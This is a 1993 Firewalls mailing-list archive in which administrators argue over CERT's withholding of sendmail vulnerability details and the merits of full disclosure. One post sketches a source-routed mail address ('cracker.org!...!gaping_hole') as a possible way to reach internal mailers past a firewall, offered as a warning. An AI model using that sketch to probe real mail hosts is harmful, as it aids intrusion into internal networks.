not. I think so. I think that if Lehman went belly up it would hurt tens of thousands of people, and that its orders of magnitude more likely someone would try to hack us. If some mom and pop operation goes down they just spend the evening restoring from backup tapes. You try to bring back 3000 workstations with a small staff and 30 minutes until the start of trading. The police are a lot more likely to investigate a murder than they are to investigate your car window being smashed, and for exactly the same reason. Frankly, some people and some things ARE more important than others. And yes, my site is more important than a mom and pop software consulting company. Never get out of your head, though, that they aren't even telling as much as they could on the assumption that they have to tell everyone on earth the same thing. > If your company is so big, Ten thousand or so employees in thirty branches going round the world from Baharain to Singapore. > and security is so paramount, Thats a given in any financial institution. > then form your own CERT for your company And here I thought you were contending that CERT isn't useless. If I have to do the job myself then its obvious that CERT is indeed useless. Perry From Firewalls-Owner Sat Oct 23 20:56:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16872; Sat, 23 Oct 93 20:56:28 GMT Received: from antares.mcs.anl.gov (antares9.mcs.anl.gov) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16863; Sat, 23 Oct 93 13:56:21 PDT Received: from skeeve.mcs.anl.gov by antares.mcs.anl.gov with SMTP id AA08896 (5.65c/IDA-1.4.4 for ); Sat, 23 Oct 1993 16:00:09 -0500 Message-Id: <199310232100.AA08896@antares.mcs.anl.gov> To: firewalls@greatcircle.com, pmetzger@lehman.com Subject: Re: A short dialogue Date: Sat, 23 Oct 1993 16:00:03 -0500 From: Gene Rackow Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Can we move on to things other a discussion of if CERT is doing a good job or not? This discussion comes up every time a new announcement is made. CERT has their rules as to how things need to be for thm to do their job. If we go back into the archives of various mailing lists, news groups, etc we will see the same message scenario run over and over again. Let's skip the next 50 messages in the current firewalls discussion and get on to the next topic. If the current set of messages about CERT have not been enough, contact the people at cert, I'm sure someone there has a few meg of archives of flame mail and justifications you can pour over. I know that some of the people at CERT do not like the way things are much better than the rest of us, but there isn't much that can be done. Legal liabilities are just too much to deal with. --Gene From Firewalls-Owner Sat Oct 23 21:03:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16916; Sat, 23 Oct 93 21:03:39 GMT Received: from mischief.erg.sri.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16908; Sat, 23 Oct 93 14:03:32 PDT Received: from localhost.erg.sri.com by mischief.erg.sri.com (5.65/2.7davy) id AA19947; Sat, 23 Oct 93 14:07:14 -0700 Message-Id: <9310232107.AA19947@mischief.erg.sri.com> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com Subject: Re: A short dialogue In-Reply-To: Your message of Sat, 23 Oct 93 16:35:42 -0400. <9310232035.AA03410@snark.lehman.com> Date: Sat, 23 Oct 93 14:07:12 -0700 From: Bryan McDonald Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >And here I thought you were contending that CERT isn't useless. If I >have to do the job myself then its obvious that CERT is indeed >useless. > >Perry Actually, my contention is that the CERT we know now functions in one fashion. This does not mean that what you want is wrong, just more expensive to do. CERT currently does not verify people, and sends out limited information. I wish I could get more out of them as well, but since it is free, so be it. So I conted that the thing to do is form another organization to do what I need, and there are other organizations to out there building the capabilities to do it. This new org would have the resources and the scope needed to do what is required by the big boys, and they in turn would have the resources to support such an org for their own good. Bryan From Firewalls-Owner Sat Oct 23 21:19:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA17019; Sat, 23 Oct 93 21:19:46 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA17011; Sat, 23 Oct 93 14:19:39 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA22622; Sat, 23 Oct 93 14:23:21 PDT Received: from death.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA29021; Sat, 23 Oct 93 14:23:20 PDT Received: by death.corp.sun.com (4.1/SMI-4.1) id AA19088; Sat, 23 Oct 93 14:23:19 PDT Message-Id: <9310232123.AA19088@death.corp.sun.com> From: Dan.Farmer@Corp.Sun.COM Date: Sat, 23 Oct 1993 14:23:18 -0700 In-Reply-To: "Perry E. Metzger" "Re: A short dialogue" (Oct 23, 16:35) X-Mailer: Mail User's Shell (7.2.2 4/12/91) To: pmetzger@lehman.com, firewalls@GreatCircle.COM Subject: Re: A short dialogue Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Beyond that, the information they gave out was far far less than they > could be reasonably expected to divulge. Does the bug hurt all > versions of sendmail, for example? Can it hurt machines inside a > firewall? Can it be stopped by disabling the prog mailer? These things > would be easy to tell us. No, they wouldn't, in general. While cert has a certain amount of technical prowess, these are not all easy questions for any given bug. Especially the portability question; they don't have all the platforms or the source code for the same that would be necessary to check all the OS's (even the popular ones.) And the vendors don't give very good information to them in return... nd what about OS's that aren't supported anymore -- do you try to check if the bug is a new one or an old one? How do you verify this without old OS's and source code lying around for those? Multiply this by the number of vendors that you have to check and you have a big mess. Yet another reason for openness, IMO, but I'm just beating that dead horse again. -- d From Firewalls-Owner Sun Oct 24 02:41:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18203; Sun, 24 Oct 93 02:41:23 GMT Received: from lokkur.dexter.mi.us (dexter-gw.dexter.msen.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18195; Sat, 23 Oct 93 19:41:10 PDT Received: by lokkur.dexter.mi.us (5.65c/IDA-1.2.8) id AA13942; Sat, 23 Oct 1993 22:43:25 -0400 From: Steve Simmons Message-Id: <199310240243.AA13942@lokkur.dexter.mi.us> Subject: Re: A short dialogue To: Dan.Farmer@corp.sun.com Date: Sat, 23 Oct 1993 22:43:25 -0400 (EDT) Cc: pmetzger@lehman.com, firewalls@greatcircle.com In-Reply-To: <9310232123.AA19088@death.corp.sun.com> from "Dan.Farmer@corp.sun.com" at Oct 23, 93 02:23:18 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 381 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk OK, CERT doesn't do what Perry wants. Nonetheless, they provide a valuable service. There were some things that were better on Andrew Burts list and some things that were worse; some things that were better on Neil Gorsuch's list and some that were worse. They had different purposes, and That's The Way It Is. Anybody volunteering to set up a replacement list for Aburt/Neil? From Firewalls-Owner Sun Oct 24 03:02:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18276; Sun, 24 Oct 93 03:02:01 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18268; Sat, 23 Oct 93 20:01:53 PDT Received: by terminus.cs.umb.edu id AA04441 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Sat, 23 Oct 1993 23:05:36 -0400 Date: Sat, 23 Oct 1993 23:05:36 -0400 From: "John B. Brown" Message-Id: <199310240305.AA04441@terminus.cs.umb.edu> To: Dan.Farmer@corp.sun.com, scs@lokkur.dexter.mi.us Subject: Re: A short dialogue Cc: firewalls@greatcircle.com, pmetzger@lehman.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > From: Steve Simmons > Date: Sat, 23 Oct 1993 22:43:25 -0400 (EDT) > OK, CERT doesn't do what Perry wants. Nonetheless, they provide a valuable > service. There were some things that were better on Andrew Burts list and > some things that were worse; some things that were better on Neil Gorsuch's > list and some that were worse. They had different purposes, and That's The > Way It Is. > Anybody volunteering to set up a replacement list for Aburt/Neil? I thought this list was it, but there's a sentiment of elitism that's keeping a free exchange of information from happening. Let's ignore the nay-sayers and get on with it. Shalom, JBB. From Firewalls-Owner Sun Oct 24 04:15:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18410; Sun, 24 Oct 93 04:15:24 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18402; Sat, 23 Oct 93 21:15:16 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA08845 for ; Sat, 23 Oct 93 23:57:18 -0400 Received: from webster.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA16896; Sat, 23 Oct 93 23:06:11 EDT Date: Sat, 23 Oct 93 23:06:11 EDT From: rens@imsi.com (Rens Troost) Message-Id: <9310240306.AA16896@IMSI.COM> Received: by webster.imsi.com (4.1/SMI-4.1) id AA06063; Sat, 23 Oct 93 23:06:10 EDT To: firewalls@greatcircle.com Subject: CERTainty Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hey! Let's stop flaming each other. This is starting to sound like USENET! :) The point is not whether we all know and trust each other (we don't) or whether CERT is useless (it isnt) but how we as hackers can make our sites secure and help others do so. I happen to think that since crackers have full access to our information (and are no doubt regression-testing mjr's toolkit now:) we should have full access to their bag of tricks. Most people on this list can have their ident's verified real fast, and even if we don't know each other I reckon most of us have one or two acquaintances we trust in common (that's just the net for you.) If we get all pissed off at each other, we allow the crackers to divide and conquer. This list is great! Let's get back to work and leave any flames that are necessary to private mail. Maybe we should have a firewalls party, so we can have fun and be civil to one another! On meatier topics: While pleading, begging, and cajoling CERT, I got the impression that the vulnerability could be activated by invocation of the local mailer on a given host. If so, then attacks behind the firewall are a threat with "source routed" mail: To: cracker.org!firewall.secure.com!target.secure.com!gaping_hole If the firewall rewrites things thouroughly, this can be avoided. Be warned, and check out your firewall sendmail.cf! Otherwise that CICS sendmail implementation rotting somewhere on your internal net may be your soft underbelly! Will somebody PLEASE give source citations on this bug!!! -Rens From Firewalls-Owner Sun Oct 24 06:03:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18679; Sun, 24 Oct 93 06:03:46 GMT Received: from gw.alantec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18671; Sat, 23 Oct 93 23:03:38 PDT Received: from alantec.alantec.com by gw.alantec.com with SMTP id AA11372 (5.65b/IDA-1.4.3.7 for firewalls@greatcircle.com); Sat, 23 Oct 93 23:07:29 -0700 Received: by alantec.alantec.com (4.1/SMI-4.1) id AA17242; Sat, 23 Oct 93 23:07:27 PDT Date: Sat, 23 Oct 93 23:07:27 PDT From: paul@alantec.com (G. Paul Ziemba) Message-Id: <9310240607.AA17242@alantec.alantec.com> To: firewalls@greatcircle.com Subject: sendmail vulnerability: firewall filtering Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Can anyone tell me how a forwarding host might detect messages of the type that exercise the sendmail vulnerability mentioned by CERT the other day? I'm willing to hack sendmail on our firewall to do it. I have taken the precaution of fixing all our internal hosts, but I'd like to be able to nail any bogons at a single point, so that I don't have to worry so much about what could happen if someone connects an unpatched host to our internal net. So far, the lack of details on this bug is deafening. Help one of the "good guys" get his job done. Reply to postmaster@alantec.com if it makes you feel any better :-) thanks, ~!paul From Firewalls-Owner Mon Oct 25 06:13:09 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA25734; Mon, 25 Oct 93 06:13:09 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA25725; Sun, 24 Oct 93 23:13:03 PDT Message-Id: <9310250613.AA25725@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: Firewalls BOF at LISA VII Date: Sun, 24 Oct 1993 23:13:02 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk There will be a Firewalls BOF (Birds of a Feather session) at the LISA VII conference in Monterey next week. The BOF is scheduled for Wednesday, 3 Nov 93, at 9pm (following the various SAGE BOFs). Note that 9pm is NOT a typo; USENIX BOFs are always in the evening. There will be a board at the conference with the BOF schedule that will say what room each BOF is in. See you there! -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Oct 25 12:29:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA26784; Mon, 25 Oct 93 12:29:04 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA26776; Mon, 25 Oct 93 05:28:56 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29724; Mon, 25 Oct 93 08:32:14 -0400 Received: from philabs.UUCP by uucp5.uu.net with UUCP/RMAIL (queueing-rmail) id 083016.19689; Mon, 25 Oct 1993 08:30:16 EDT Received: from condor.Philips.Com by philabs.Philips.Com (smail2.5/12-15-87/4.1) id AA00811; Mon, 25 Oct 93 08:29:59 EDT Message-Id: <9310251229.AA00811@philabs.Philips.Com> Received: from loopback by condor.Philips.Com (smail2.2/4-7-87/4.1) id AA08550; Mon, 25 Oct 93 08:29:58 EDT To: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT Date: Mon, 25 Oct 93 08:29:57 -0400 From: John A. Murphy Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Worse than that, lets say they tell you a hurricane is coming, but > don't tell you from where? Lets say that what you guess is a better > location is a worse location? I think this is a pretty poor analogy, but anyway.... The major problem I see with giving "authorized" people the insights to vulnerabilities is there are a number of people wearing 2 hats. Valid admin's working for a company, while at the same time trying to (personally or professionally) break into a competitor. Corporate espionage would come down to a race condition. CERT sends out a warning. Sysadmin at a site in NYC gets the warning at 8:00am EST. He gets the specifics, and then turns around and breaks into his competitors site on the west coast before they've even had breakfast. While I would love to know security problems out of both need and curiosity, I'm glad the information is not readily accessible. Murf -- jam@philabs.philips.com John A. Murphy (better known as Erin's dad) 345 Scarborough Road Briarcliff Manor, NY 10510 One one-trillionith of a surprise: picaboo (914)945-6216 From Firewalls-Owner Mon Oct 25 13:32:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA26947; Mon, 25 Oct 93 13:32:36 GMT Received: from peking.gdwb.vic.gov.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA26917; Mon, 25 Oct 93 06:30:57 PDT Received: from sparta.gdwb.vic.gov.au by peking.gdwb.vic.gov.au with SMTP id AA27126 (5.65c/IDA-1.4.4 for ); Mon, 25 Oct 1993 23:29:50 +1000 Received: by sparta.gdwb.vic.gov.au id AA12670 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Mon, 25 Oct 1993 23:29:23 +1000 Date: Mon, 25 Oct 1993 23:29:23 +1000 From: Craig Bishop Message-Id: <199310251329.AA12670@sparta.gdwb.vic.gov.au> To: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Subject: Re: perry's gripe about CERT Date: Mon, 25 Oct 93 08:29:57 -0400 Corporate espionage would come down to a race condition. CERT sends out a warning. Sysadmin at a site in NYC gets the warning at 8:00am EST. He gets the specifics, and then turns around and breaks into his competitors site on the west coast before they've even had breakfast. While I would love to know security problems out of both need and curiosity, I'm glad the information is not readily accessible. This is where this argument falls down. You have to assume that anyone who is actively involved in breaking into systems already has this information. You will not be telling those people anything new. CERT sits on this information until the vendor, who's systems are being compromised, has a fix for all their customers. So ... How long have the crackers had this information? How much more damage have they done while we waited for the vendor to make the fix? How etc... CERT do a good job under difficult conditions. I am just sure there are a whole host of crackers out there who are falling over themselves laughing at us. Laughing because we are hiding information from each other, that they have had for ages. And the longer we hide it the longer they have to attack other systems. Craig Bishop Information Systems Division Email: csb@gdwb.vic.gov.au Geelong & District Water Board Phone: +61 52 262506 61-67 Ryrie St Geelong Fax: +61 52 218236 Victoria 3220 Australia From Firewalls-Owner Mon Oct 25 13:55:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27006; Mon, 25 Oct 93 13:55:36 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA26997; Mon, 25 Oct 93 06:55:22 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id JAA16953; Mon, 25 Oct 1993 09:58:49 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA06712; Mon, 25 Oct 93 09:58:15 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA14291; Mon, 25 Oct 93 09:58:14 EDT Message-Id: <9310251358.AA14291@snark.lehman.com> To: "John A. Murphy" Cc: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of "Mon, 25 Oct 1993 08:29:57 EDT." <9310251229.AA00811@philabs.Philips.Com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Mon, 25 Oct 1993 09:58:14 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "John A. Murphy" says: > The major problem I see with giving "authorized" people the insights to > vulnerabilities is there are a number of people wearing 2 hats. Valid > admin's working for a company, while at the same time trying to (personally > or professionally) break into a competitor. > > Corporate espionage would come down to a race condition. > > CERT sends out a warning. > Sysadmin at a site in NYC gets the warning at 8:00am EST. > He gets the specifics, and then turns around and breaks > into his competitors site on the west coast before they've > even had breakfast. And if he keeps this up, he ends up in federal prison. Do you have any idea what the penalties are, just as one example, for deliberately altering and/or intercepting financial wire transactions? Yes, its entirely possible that the security officers at fortune 500 companies are crooks. Its also possible, of course, that CERT is a bunch of crooks and keeps the information to themselves so they can break into people's companies. There are many fantasies you can have. Assuming that no one at all is trustworthy, then why bother even having a CERT? My problem is that I just spent the whole goddamn weekend installing sendmail 8.6.2 all over the place, and I have still have not even the slightest idea as to whether I did the least bit of good. Perry From Firewalls-Owner Mon Oct 25 13:55:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27014; Mon, 25 Oct 93 13:55:48 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27000; Mon, 25 Oct 93 06:55:36 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 7545; Mon, 25 Oct 93 10:00:28 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 7544; Mon, 25 Oct 1993 09:59:30 -0400 Subject: Re: perry's gripe about CERT To: FIREWALLS@GREATCIRCLE.COM From: "Andrew T. Robinson" Date: Mon, 25 Oct 93 09:31:52 EDT In-Reply-To: <9310251229.AA00811@philabs.Philips.Com> Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >While I would love to know security problems out of both need and curiosity, >I'm glad the information is not readily accessible. > I've always assumed, perhaps incorrectly, that people who crack systems have little or no compunction about sharing what they've found out. I've never heard this assumption disputed. If there is some hard evidence that it is incorrect, I'd love to hear it. Based on that assumption, by the time you receive a CERT advisory on a security hole almost by definition that information is available to the "cracker community" (unless the hole was uncovered by vendor or independent testing). By not making details of the hole freely available, you are again in the position of the bad guys having the information and at least a large percentage of the "good guys" in the dark because they have never made the physical acquaintance of someone in the know. Granted, by hiding this information you MAY keep it away from SOME "casual" crackers, but again by definition these are not the people you are worried about when it comes to industrial espionage. The "patronage" system of security information distribution is a lose. No one can possibly know personally everyone who has a legitimate interest in such information (and certainly not well enough to make a character judgement). Even some sort of registry would not eliminate the problem of a legitimate system administrator who engages in industrial espoinage over the Internet. The alternative of leaving the information in the hands of a few individuals who by chance more than virtue have possession of it is unacceptable. Andy From Firewalls-Owner Mon Oct 25 07:10:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27058; Mon, 25 Oct 93 14:04:11 GMT Received: from nsco.network.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27048; Mon, 25 Oct 93 07:04:01 PDT Received: from nscultrix2.network.com by nsco.network.com (5.61/1.34) id AA26362; Mon, 25 Oct 93 09:10:14 -0500 Received: by nscultrix2.network.com (5.57/Ultrix3.0-C) id AA11974; Mon, 25 Oct 93 09:06:36 CDT Date: Mon, 25 Oct 93 09:06:36 CDT From: dotytr@nscultrix2.network.com (Ted Doty) Message-Id: <9310251406.AA11974@nscultrix2.network.com> To: brent@greatcircle.com, pmetzger@lehman.com Subject: Re: A short dialogue Cc: firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Have you stopped to consider that maybe what's wrong is that your > site, with your security concerns, shouldn't be on the Internet in the > first place? You've apparently got this rose-colored image of how > things "used to be", and how things "ought to be", that just doesn't > match reality. I recall a session at Interop `90 (I think) where Dave Clark said that the 1990s would be the decade of the "Great Unplugging" as people began to lose real money from antisocial net.behavior. At the time, I thought he was crazy. - Ted -------------------------------------------------------------------------- Ted Doty, Network Systems Corporation | phone: +1 301 596-2270 8965 Guilford Road, Suite 250 | fax: +1 410 381-3320 Columbia, MD, 21046 USA | voice mail: (800) 233-1485 -------------------------------------------------------------------------- These opinions are my own, not necessarially those of Network Systems. From Firewalls-Owner Mon Oct 25 14:16:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27112; Mon, 25 Oct 93 14:16:05 GMT Received: from uu5.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27104; Mon, 25 Oct 93 07:15:55 PDT Received: from sbi.com by uu5.psi.com (5.65b/4.0.071791-PSI/PSINet) via SMTP; id AA02686 for firewalls@greatcircle.com; Mon, 25 Oct 93 10:19:37 -0400 Received: from wet (dry) by internet.sbi.com (4.1/SMI-4.1) id AA19427; Mon, 25 Oct 93 10:19:33 EDT Received: from matilda.sbil.co.uk by wet (4.0/SMI-4.0) id AA29489; Mon, 25 Oct 93 14:19:32 GMT Received: by matilda.sbil.co.uk (4.1/SMI-4.1) id AA02560; Mon, 25 Oct 93 14:19:31 GMT Date: Mon, 25 Oct 93 14:19:31 GMT From: hp90101@internet.sbi.com (Harry Protoolis) Message-Id: <9310251419.AA02560@matilda.sbil.co.uk> To: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Oh dear, I am adding to this waste of bandwidth ... Of course CERT are free to do as they wish but one, more friendly, alternative would be to *gradually* reveal details of a security hole. The idea would be that the first alert would be a standard CERT 'there is a problem in program X, this is a patch for version Y' posting, with no details. Then gradually over a period of days more and more details could released. This would mean that sites exposed to the known case can take action to close the hole before details become available. The eventual release of detailed information would enable sites running related software, but for whom the published patch/workaround does not apply to test for the problem and correct it. It also enables the wider white-hat community to understand the problem better and be on the look out for related security holes. This would also avoid the race condition described in John Murphy's post, and still get the information out. Of course the one person this does *not* protect is the lazy sysadmin who ignores the early warning. IMHO there is no help for that and a break-in is inevitable at such a site anyway. As an added benefit a list could then be made publically available detailing all the known holes and it would be a great deal easier to shut them all. Again, this makes life easy for careful admins and hard for careless ones, and, IMHO crackers. Harry Protoolis "Sons of the South, make a choice between ... harry@london.sbi.com The land that belongs to the lord and the Queen And the land that belongs to you." - Henry Lawson (with apologies for the sexist language) From Firewalls-Owner Mon Oct 25 07:40:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27067; Mon, 25 Oct 93 14:04:27 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27059; Mon, 25 Oct 93 07:04:14 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA23233 for ; Mon, 25 Oct 93 09:59:37 -0400 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA20267; Mon, 25 Oct 93 09:14:39 EDT Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA01641; Mon, 25 Oct 93 09:14:38 EDT Message-Id: <9310251314.AA01641@lorax.imsi.com> To: "John A. Murphy" Cc: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of "Mon, 25 Oct 1993 08:29:57 EDT." <9310251229.AA00811@philabs.Philips.Com> Reply-To: rens@imsi.com Date: Mon, 25 Oct 1993 09:14:38 -0400 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Mon, 25 Oct 93 08:29:57 -0400, John A. Murphy said: jam> The major problem I see with giving "authorized" people the jam> insights to vulnerabilities is there are a number of people jam> wearing 2 hats. Valid admin's working for a company, while at jam> the same time trying to (personally or professionally) break jam> into a competitor. That's why the information should be public instead of limited to some self-elected security cabal-cum-self-appreciation group. Echoes of FIDONET. I like the picture you paint of sysadmins engaging in espionage for their employer. Reminds me of Neuromancer. How's life in the philips arcology? If you want to defect, the IMS extrqaction team will bust you out... :) jam> While I would love to know security problems out of both need jam> and curiosity, I'm glad the information is not readily jam> accessible. Professional crackers have the information. Sysadmins do not. I think that speaks for itself. -Rens From Firewalls-Owner Mon Oct 25 15:35:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27337; Mon, 25 Oct 93 15:35:35 GMT Received: from duke.group1.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27328; Mon, 25 Oct 93 08:35:26 PDT Subject: Re: A short Dialogue To: firewalls@GreatCircle.com Date: Mon, 25 Oct 1993 08:39:14 -0700 (PDT) From: Ken Jones X-Mailer: ELM [version 2.4 PL20] Content-Type: text Content-Length: 1419 Message-Id: <9310250839.aa08500@duke.group1.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > From group1.group1.com!relay1.uu.net!greatcircle.com!firewalls-owner Sat Oct 23 10:37:28 1993 > Date: Sat, 23 Oct 93 13:21:52 EDT > From: "Perry E. Metzger" > Message-Id: <9310231721.AA04619@kublai.lehman.com> > To: firewalls@GreatCircle.COM > Cc: ji@tla.org, mab@crypto.com, smb@research.att.com > Subject: A short dialogue > Reply-To: pmetzger@lehman.com > X-Reposting-Policy: redistribute only with permission > Sender: Firewalls-Owner@GreatCircle.COM > Precedence: bulk > > A one-act play > > Dramatis Personae: > Perry Metzger (PM): an AVP responsible for the firewall at a > Fortune 100 company. > Joe Cert (JC): A person at CERT supposed to be helping. > > [The scene opens to Perry on the phone with Joe Cert. Perry is at work > and freaking out because he doesn't run Sun sendmail and doesn't know > what to do. If he turns off mail, his users will kill him. He has no > idea how many machines he has to fix or if he has a problem at all.] > My view is CERT is doing EXACTLY what is needed. That is informing the masses as to possable security problems. I would expect that you would turn to your UNIX vendor for more detailed information instead of CERT. Just my .02 worth -- Ken Jones | Group One, Ltd. | kenj@group1.com | 220 Bush St. #350 | Systems / Network | San Francisco, Ca. | Administrator | 94104 | From Firewalls-Owner Mon Oct 25 16:16:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27629; Mon, 25 Oct 93 16:16:34 GMT Received: from sun2.nsfnet-relay.ac.uk by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27621; Mon, 25 Oct 93 09:16:19 PDT Via: uk.co.ggr; Mon, 25 Oct 1993 15:59:17 +0000 Received: from localhost by uk0x08.ggr.co.uk; Mon, 25 Oct 1993 16:00:33 GMT Received: from relay1.UU.NET by ben.britain.eu.net via EUnet with SMTP (PP) id ; Mon, 25 Oct 1993 15:58:22 +0000 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26103; Mon, 25 Oct 93 11:54:56 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27337; Mon, 25 Oct 93 15:35:35 GMT Received: from duke.group1.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27328; Mon, 25 Oct 93 08:35:26 PDT Subject: Re: A short Dialogue To: firewalls@GreatCircle.COM Date: Mon, 25 Oct 1993 08:39:14 -0700 (PDT) From: Ken Jones X-Mailer: ELM [version 2.4 PL20] Content-Type: text Content-Length: 1419 Message-Id: <9310250839.aa08500@duke.group1.com> Original-Sender: Firewalls-Owner@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > From group1.group1.com!relay1.uu.net!greatcircle.com!firewalls-owner Sat Oct 23 10:37:28 1993 > Date: Sat, 23 Oct 93 13:21:52 EDT > From: "Perry E. Metzger" > Message-Id: <9310231721.AA04619@kublai.lehman.com> > To: firewalls@GreatCircle.COM > Cc: ji@tla.org, mab@crypto.com, smb@research.att.com > Subject: A short dialogue > Reply-To: pmetzger@lehman.com > X-Reposting-Policy: redistribute only with permission > Sender: Firewalls-Owner@GreatCircle.COM > Precedence: bulk > > A one-act play > > Dramatis Personae: > Perry Metzger (PM): an AVP responsible for the firewall at a > Fortune 100 company. > Joe Cert (JC): A person at CERT supposed to be helping. > > [The scene opens to Perry on the phone with Joe Cert. Perry is at work > and freaking out because he doesn't run Sun sendmail and doesn't know > what to do. If he turns off mail, his users will kill him. He has no > idea how many machines he has to fix or if he has a problem at all.] > My view is CERT is doing EXACTLY what is needed. That is informing the masses as to possable security problems. I would expect that you would turn to your UNIX vendor for more detailed information instead of CERT. Just my .02 worth -- Ken Jones | Group One, Ltd. | kenj@group1.com | 220 Bush St. #350 | Systems / Network | San Francisco, Ca. | Administrator | 94104 | From Firewalls-Owner Mon Oct 25 16:19:42 1993 